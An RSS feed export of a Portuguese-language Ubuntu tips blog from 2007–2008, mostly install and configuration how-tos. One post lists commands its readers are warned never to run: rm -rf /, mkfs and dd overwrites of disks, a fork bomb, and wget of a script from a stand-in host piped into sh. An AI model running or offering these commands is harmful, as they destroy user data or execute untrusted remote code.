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	<title>Evandro Barreto's Weblog</title>
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	<link>http://evandrobarreto.wordpress.com</link>
	<description>Linux and stuff</description>
	<lastBuildDate>Tue, 01 Jul 2008 18:50:33 +0000</lastBuildDate>
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		<title>Evandro Barreto's Weblog</title>
		<link>http://evandrobarreto.wordpress.com</link>
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		<title>DVD&#8217;s comerciais no Ubuntu</title>
		<link>http://evandrobarreto.wordpress.com/2008/07/01/dvds-comerciais-no-ubuntu/</link>
		<comments>http://evandrobarreto.wordpress.com/2008/07/01/dvds-comerciais-no-ubuntu/#comments</comments>
		<pubDate>Tue, 01 Jul 2008 18:50:33 +0000</pubDate>
		<dc:creator>Evandro</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Multimedia Ubuntu]]></category>

		<guid isPermaLink="false">http://evandrobarreto.wordpress.com/?p=65</guid>
		<description><![CDATA[Para poder assistir DVD&#8217;s comerciais no Ubuntu 8.04, pode-se usar um desses 2 métodos:
- Executando no console o script:
sudo /usr/share/doc/libdvdread3/install-css.sh
- Acrescentando o repositório Medibuntu e instalando o pacote libdvdcss2
sudo wget http://www.medibuntu.org/sources.list.d/hardy.list -O /etc/apt/sources.list.d/medibuntu.list
sudo apt-get update &#38;&#38; sudo apt-get install medibuntu-keyring &#38;&#38; sudo apt-get update
sudo apt-get install libdvdcss2
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			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>Para poder assistir DVD&#8217;s comerciais no Ubuntu 8.04, pode-se usar um desses 2 métodos:</p>
<p>- Executando no console o script:</p>
<blockquote><p><strong>sudo /usr/share/doc/libdvdread3/install-css.sh</strong></p></blockquote>
<p>- Acrescentando o repositório Medibuntu e instalando o pacote <strong>libdvdcss2</strong></p>
<blockquote><p><strong>sudo wget http://www.medibuntu.org/sources.list.d/hardy.list -O /etc/apt/sources.list.d/medibuntu.list</strong></p></blockquote>
<blockquote><p><strong>sudo apt-get update &amp;&amp; sudo apt-get install medibuntu-keyring &amp;&amp; sudo apt-get update</strong></p></blockquote>
<blockquote><p><strong>sudo apt-get install libdvdcss2</strong></p></blockquote>
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		<title>Desabilitando a barra inteligente de endereços do Firefox3</title>
		<link>http://evandrobarreto.wordpress.com/2008/06/26/desabilitando-a-barra-inteligente-de-enderecos-do-firefox3/</link>
		<comments>http://evandrobarreto.wordpress.com/2008/06/26/desabilitando-a-barra-inteligente-de-enderecos-do-firefox3/#comments</comments>
		<pubDate>Thu, 26 Jun 2008 05:42:55 +0000</pubDate>
		<dc:creator>Evandro</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Firefox]]></category>

		<guid isPermaLink="false">http://evandrobarreto.wordpress.com/?p=63</guid>
		<description><![CDATA[Entre no utilitário de configuração do Firefox, o about:config. Vamos no Passo a passo.

Abra o Firefox 3
Na barra de endereços, digite about:config e dê um enter
Clique no botão &#8220;Serei cuidadoso, eu prometo&#8220;. Realmente precisa ser muito cuidadoso. Um clique errado e pode ferrar com seu browser.
Em &#8220;Localizar&#8221;, digite browser.urlbar.matchonlytyped
Mude o Valor para &#8220;True&#8221; clicando duas [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=evandrobarreto.wordpress.com&blog=2522266&post=63&subd=evandrobarreto&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>Entre no utilitário de configuração do Firefox, o <strong>about:config</strong>. Vamos no Passo a passo.</p>
<ul>
<li>Abra o Firefox 3</li>
<li>Na barra de endereços, digite <strong>about:config</strong> e dê um enter</li>
<li>Clique no botão &#8220;<strong>Serei cuidadoso, eu prometo</strong>&#8220;. Realmente precisa ser muito cuidadoso. Um clique errado e pode ferrar com seu browser.</li>
<li>Em &#8220;Localizar&#8221;, digite <strong>browser.urlbar.matchonlytyped</strong></li>
<li>Mude o Valor para &#8220;<strong>True</strong>&#8221; clicando duas vezes emcima da linha</li>
<li>Reinicie o Firefox</li>
</ul>
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		<title>Monitorando o status de sua conexão com o ethstatus</title>
		<link>http://evandrobarreto.wordpress.com/2008/02/15/monitorando-o-status-de-sua-conexao-com-o-ethstatus/</link>
		<comments>http://evandrobarreto.wordpress.com/2008/02/15/monitorando-o-status-de-sua-conexao-com-o-ethstatus/#comments</comments>
		<pubDate>Fri, 15 Feb 2008 17:15:51 +0000</pubDate>
		<dc:creator>Evandro</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://evandrobarreto.wordpress.com/2008/02/15/monitorando-o-status-de-sua-conexao-com-o-ethstatus/</guid>
		<description><![CDATA[Para instalar o ethstatus:
#sudo apt-get install ethstatus
Para executar:
ethstatus -i eth0
(troque o “0″ pelo número correspondente de sua interface de rede: eth1, eth2)
       <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=evandrobarreto.wordpress.com&blog=2522266&post=62&subd=evandrobarreto&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>Para instalar o ethstatus:<br />
<code>#sudo apt-get install ethstatus</code></p>
<p>Para executar:<br />
<code>ethstatus -i eth0</code></p>
<p><code></code>(troque o “0″ pelo número correspondente de sua interface de rede: eth1, eth2)</p>
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		<title>Mapa de redes com Lanmap</title>
		<link>http://evandrobarreto.wordpress.com/2008/02/04/mapa-de-redes-com-lanmap/</link>
		<comments>http://evandrobarreto.wordpress.com/2008/02/04/mapa-de-redes-com-lanmap/#comments</comments>
		<pubDate>Mon, 04 Feb 2008 14:00:12 +0000</pubDate>
		<dc:creator>Evandro</dc:creator>
				<category><![CDATA[Network]]></category>

		<guid isPermaLink="false">http://evandrobarreto.wordpress.com/?p=61</guid>
		<description><![CDATA[Para instalar o Lanmap:
sudo aptitude install lanmap
Sintaxe: lanmap [-o directory] [-e program] [-T {png,gif,svg}] [-f filtetr] [-D {#,all,raw}] [-r seconds]
Opções: 
-o directory - The directory in which to save the generated images. Default is the current directory.
-e program - The program to use to generate images. Default is twopi.
-T {png,gif,svg} - Output image format. Default [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=evandrobarreto.wordpress.com&blog=2522266&post=61&subd=evandrobarreto&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p><b>Para instalar o Lanmap:</b><br />
<code>sudo aptitude install lanmap</code></p>
<p><b>Sintaxe:</b> <code>lanmap [-o directory] [-e program] [-T {png,gif,svg}] [-f filtetr] [-D {#,all,raw}] [-r seconds]</code></p>
<p><b>Opções: </b><br />
<code>-o directory - The directory in which to save the generated images. Default is the current directory.</code></p>
<p><code>-e program - The program to use to generate images. Default is twopi.</code></p>
<p><code>-T {png,gif,svg} - Output image format. Default is png.</code></p>
<p><code>-f filter - Traffic filter, in libpcap syntax.</code></p>
<p><code>-D {#,all,raw} - Debug mode; lots of output, use with caution. #: payload bytes to dump (default: 0)</code></p>
<p><code>-r seconds - Set the time interval between 2 consecutive graph generations. Default is 60 seconds.</code></p>
<p><code>-i {?,*wildcard*,iface} - Interface to use: ?: list all devices and exit *3Com*: use the first NIC with “3Com” in it</code></p>
<p><code>-V - Version info.</code></p>
<p><code>-vv - Verbose mode, up to 3 levels (-vv, -vv09:21 29/11/2007v).</code></p>
<p><code>-h - Help message.</code></p>
<p><b>Exemplo</b>: <code>lanmap -i eth0 -r 30 -T png -o /tmp/</code> (cria um .png da rede em /tmp</p>
<p>Fonte: <a href="http://www.ubuntugeek.com/lanmap-network-discovery-tool-that-produces-nice-2d-images.html">Ubuntu Geek</a></p>
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		<title>Instalando o Elisa Media Center no Ubuntu</title>
		<link>http://evandrobarreto.wordpress.com/2008/01/27/instalando-o-elisa-media-center-no-ubuntu/</link>
		<comments>http://evandrobarreto.wordpress.com/2008/01/27/instalando-o-elisa-media-center-no-ubuntu/#comments</comments>
		<pubDate>Sun, 27 Jan 2008 02:39:45 +0000</pubDate>
		<dc:creator>Evandro</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://evandrobarreto.wordpress.com/?p=60</guid>
		<description><![CDATA[Primeiro importe a GPG key:
wget http://elisa.fluendo.com/packages/philn.asc -O - &#124; sudo apt-key add -
No Ubuntu Gutsy 7.10, são suportadas as arquiteturas i386, amd64, lpia.
Adicione o repositório em seu /etc/apt/sources.list:
deb http://elisa.fluendo.com/packages gutsy main
Para o Hardy Heron 8.04
deb http://elisa.fluendo.com/packages hardy main
Atualize os repositórios:
sudo apt-get update
Agora é só instalar o Elisa:
sudo apt-get install elisa
      [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=evandrobarreto.wordpress.com&blog=2522266&post=60&subd=evandrobarreto&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>Primeiro importe a GPG key:<br />
<code>wget http://elisa.fluendo.com/packages/philn.asc -O - | sudo apt-key add -</code></p>
<p>No Ubuntu Gutsy 7.10, são suportadas as arquiteturas i386, amd64, lpia.<br />
Adicione o repositório em seu /etc/apt/sources.list:<br />
<code>deb http://elisa.fluendo.com/packages gutsy main</code></p>
<p>Para o Hardy Heron 8.04<br />
<code>deb http://elisa.fluendo.com/packages hardy main</code></p>
<p>Atualize os repositórios:<br />
<code>sudo apt-get update</code></p>
<p>Agora é só instalar o Elisa:<br />
<code>sudo apt-get install elisa</code></p>
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		<title>Assistindo DVD no Ubuntu</title>
		<link>http://evandrobarreto.wordpress.com/2008/01/20/assistindo-dvd-no-ubuntu-2/</link>
		<comments>http://evandrobarreto.wordpress.com/2008/01/20/assistindo-dvd-no-ubuntu-2/#comments</comments>
		<pubDate>Sun, 20 Jan 2008 05:28:21 +0000</pubDate>
		<dc:creator>Evandro</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://evandrobarreto.wordpress.com/2008/01/20/assistindo-dvd-no-ubuntu-2/</guid>
		<description><![CDATA[Adiciona repositório medibuntu:
sudo wget http://www.medibuntu.org/sources.list.d/gutsy.list -O /etc/apt/sources.list.d/medibuntu.list

Importa chave gpg:
wget -q http://packages.medibuntu.org/medibuntu-key.gpg -O- &#124; sudo apt-key add -
Atualiza lista de pacotes disponíveis:
sudo apt-get update
Instala pacotes necessários para reproduzir DVDs:
sudo apt-get install libdvdcss2 libxine1-ffmpeg totem-xine
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			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>Adiciona repositório medibuntu:<br />
<i>sudo wget http://www.medibuntu.org/sources.list.d/gutsy.list -O /etc/apt/sources.list.d/medibuntu.list<br />
</i></p>
<p>Importa chave gpg:<br />
<i>wget -q http://packages.medibuntu.org/medibuntu-key.gpg -O- | sudo apt-key add -</i></p>
<p>Atualiza lista de pacotes disponíveis:<br />
<i>sudo apt-get update</i></p>
<p>Instala pacotes necessários para reproduzir DVDs:<br />
<i>sudo apt-get install libdvdcss2 libxine1-ffmpeg totem-xine</i></p>
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		<title>Comandos maliciosos</title>
		<link>http://evandrobarreto.wordpress.com/2008/01/16/comandos-maliciosos/</link>
		<comments>http://evandrobarreto.wordpress.com/2008/01/16/comandos-maliciosos/#comments</comments>
		<pubDate>Wed, 16 Jan 2008 03:18:26 +0000</pubDate>
		<dc:creator>Evandro</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://evandrobarreto.wordpress.com/2008/01/16/comandos-maliciosos/</guid>
		<description><![CDATA[Somente para estudos, NUNCA execute os comandos em computadores em produção!
Danos em sistemas de arquivos:
sudo rm -rf / (Deleta todos os arquivos do seu sistema)
sudo rm -rf . (Deleta o diretório corrente)
sudo rm -rf * ou rm -rf *.*(Deleta todos os arquivos no diretório corrente)
rm -rf ~/ &#38; (Destrói seu home directory)
Formatação do disco rígido:
sudo [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=evandrobarreto.wordpress.com&blog=2522266&post=58&subd=evandrobarreto&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>Somente para estudos, NUNCA execute os comandos em computadores em produção!</p>
<p>Danos em sistemas de arquivos:<br />
<code>sudo rm -rf / (Deleta todos os arquivos do seu sistema)<br />
sudo rm -rf . (Deleta o diretório corrente)<br />
sudo rm -rf * ou rm -rf *.*(Deleta todos os arquivos no diretório corrente)<br />
rm -rf ~/ &amp; (Destrói seu home directory)</code></p>
<p>Formatação do disco rígido:<br />
<code>sudo mkfs<br />
sudo mkfs.ext3<br />
sudo mkfs.bfs<br />
sudo mkfs.cramfs<br />
sudo mkfs.ext2<br />
sudo mkfs.minix<br />
sudo mkfs.msdos<br />
sudo mkfs.reiserfs<br />
sudo mkfs.vfat<br />
</code></p>
<p>O comando <b>dd</b>:<br />
<code>sudo dd if=/dev/zero of=/dev/hda (Zera toda a partição primária do disco rígido IDE)<br />
sudo dd if=/dev/hda of=/dev/hdb<br />
sudo dd if=something of=/dev/hda </code></p>
<p>Escrever dados aleatórios em dispositivos de bloco:<br />
<code>any_command &gt; /dev/sda<br />
dd if=something of=/dev/sda</code></p>
<p>Forkbomb: esse script executa um número grande de processos até travar o processador:<br />
<code> <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> ){:|:&amp;};:</code><br />
<code>fork while fork</code></p>
<p>Tarbomb:<br />
Um arquivo tar.gz ou tar.bz2 pode conter milhões de arquivos e inundar seu HD até travá-lo. Para evitar isso, prefira descompactar  o arquivo tar.gz ou tar.bz2 em um diretório novo, recém  criado para descompactá-lo:<br />
<code>wget http://some_place/some_file<br />
sh ./some_file</p>
<p>Example: wget http://hax018r.org/malicious-script<br />
sh ./malicious-script</code></p>
<p><code>wget http://some_place/some_file -O- | sh</p>
<p>Example: wget http://hax018r.org/malicious-script -O- | sh</code></p>
<p>Fonte: <a href="http://news.softpedia.com/news/Malicious-Commands-You-Should-NOT-Run-in-Ubuntu-72133.shtml">Softpedia</a></p>
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		<title>Instalando o Flash plugin no Ubuntu 7.10</title>
		<link>http://evandrobarreto.wordpress.com/2008/01/01/instalando-o-flash-plugin-no-ubuntu-710/</link>
		<comments>http://evandrobarreto.wordpress.com/2008/01/01/instalando-o-flash-plugin-no-ubuntu-710/#comments</comments>
		<pubDate>Tue, 01 Jan 2008 16:08:00 +0000</pubDate>
		<dc:creator>Evandro</dc:creator>
				<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://evandrobarreto.wordpress.com/2008/01/01/instalando-o-flash-plugin-no-ubuntu-710/</guid>
		<description><![CDATA[
Quando se instala o flashplayer plugin versão 9 no Ubuntu através do Gerenciador de pacotes  Synaptic, aparentemente  o procedimento termina de forma correta. Mas aparece um aviso no console que o plugin NÃO foi instalado.
O jeito é instalar o pacote manualmente ou seguindo os passos abaixo:
No terminal:
wget http://launchpadlibrarian.net/10761023/flashplugin-nonfree_9.0.115.0ubuntu2_i386.deb
Após baixar o pacote, instale também [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=evandrobarreto.wordpress.com&blog=2522266&post=57&subd=evandrobarreto&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p><a href="http://bp2.blogger.com/_jUXPck7NESs/R3po_HVO9GI/AAAAAAAAAdo/ymiKEA72O9Q/s1600-h/flash.jpeg"><img src="http://bp2.blogger.com/_jUXPck7NESs/R3po_HVO9GI/AAAAAAAAAdo/ymiKEA72O9Q/s200/flash.jpeg" style="float:left;cursor:pointer;margin:0 10px 10px 0;" border="0" /></a></p>
<p>Quando se instala o flashplayer plugin versão 9 no Ubuntu através do Gerenciador de pacotes  Synaptic, aparentemente  o procedimento termina de forma correta. Mas aparece um aviso no console que o plugin NÃO foi instalado.</p>
<p>O jeito é instalar o pacote manualmente ou seguindo os passos abaixo:<br />
No terminal:</p>
<blockquote><p><span style="font-style:italic;">wget http://launchpadlibrarian.net/10761023/flashplugin-nonfree_9.0.115.0ubuntu2_i386.deb</span></p></blockquote>
<p>Após baixar o pacote, instale também pelo terminal:</p>
<blockquote><p>sudo dpkg -i flashplugin-nonfree_9.0.115.0ubuntu2_i386.deb</p></blockquote>
<p>Reinicie seu browser. Tudo deve estar funcionando corretamente agora.</p>
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		<title>Alguns free-books (não é pirataria!)</title>
		<link>http://evandrobarreto.wordpress.com/2007/09/20/alguns-free-books-nao-e-pirataria/</link>
		<comments>http://evandrobarreto.wordpress.com/2007/09/20/alguns-free-books-nao-e-pirataria/#comments</comments>
		<pubDate>Thu, 20 Sep 2007 00:58:00 +0000</pubDate>
		<dc:creator>Evandro</dc:creator>
				<category><![CDATA[Books]]></category>

		<guid isPermaLink="false">http://evandrobarreto.wordpress.com/2007/09/20/alguns-free-books-nao-e-pirataria/</guid>
		<description><![CDATA[
A Apress está disponibilizando alguns de seus livros de forma gratuita, em PDF. Não são, claro, as últimas edições, mas vale a pena baixá-los.
Veja em: http://www.apress.com/book/free
       <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=evandrobarreto.wordpress.com&blog=2522266&post=56&subd=evandrobarreto&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p><a href="http://bp3.blogger.com/_jUXPck7NESs/RvHGgxwVhiI/AAAAAAAAAcQ/XwCkg8Frsp4/s1600-h/owl-reading.gif"><img src="http://bp3.blogger.com/_jUXPck7NESs/RvHGgxwVhiI/AAAAAAAAAcQ/XwCkg8Frsp4/s200/owl-reading.gif" style="float:left;cursor:pointer;margin:0 10px 10px 0;" border="0" /></a><br />
A <span style="font-weight:bold;font-style:italic;">Apress</span> está disponibilizando alguns de seus livros de forma gratuita, em PDF. Não são, claro, as últimas edições, mas vale a pena baixá-los.</p>
<p>Veja em: http://www.apress.com/book/free</p>
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		<title>Deixe as apps root com a aparência das apps de seu usuário no Linux</title>
		<link>http://evandrobarreto.wordpress.com/2007/09/18/deixe-as-apps-root-com-a-aparencia-das-apps-de-seu-usuario-no-linux/</link>
		<comments>http://evandrobarreto.wordpress.com/2007/09/18/deixe-as-apps-root-com-a-aparencia-das-apps-de-seu-usuario-no-linux/#comments</comments>
		<pubDate>Tue, 18 Sep 2007 18:03:00 +0000</pubDate>
		<dc:creator>Evandro</dc:creator>
				<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://evandrobarreto.wordpress.com/2007/09/18/deixe-as-apps-root-com-a-aparencia-das-apps-de-seu-usuario-no-linux/</guid>
		<description><![CDATA[
Sempre que você abre uma aplicação com privilégio root no Linux, ela fica com aquela aparência feia e sem vida, e não segue o tema que você escolheu no seu usuário.
Para mudar isso basta criar os links abaixo:


 sudo ln -s ~/.themes /root/.themes
sudo ln -s ~/.icons /root/.icons
sudo ln -s ~/.fonts /root/.fonts
     [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=evandrobarreto.wordpress.com&blog=2522266&post=55&subd=evandrobarreto&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p><a href="http://bp3.blogger.com/_jUXPck7NESs/RvAU5P2VFII/AAAAAAAAAcI/64OoHuFTTA4/s1600-h/feio1.jpg"><img src="http://bp3.blogger.com/_jUXPck7NESs/RvAU5P2VFII/AAAAAAAAAcI/64OoHuFTTA4/s200/feio1.jpg" style="float:left;cursor:pointer;margin:0 10px 10px 0;" border="0" /></a><br />
Sempre que você abre uma aplicação com privilégio root no Linux, ela fica com aquela aparência feia e sem vida, e não segue o tema que você escolheu no seu usuário.<br />
Para mudar isso basta criar os links abaixo:<br />
<i><br />
</i></p>
<blockquote><p><i> sudo ln -s ~/.themes /root/.themes<br />
sudo ln -s ~/.icons /root/.icons<br />
sudo ln -s ~/.fonts /root/.fonts</i></p></blockquote>
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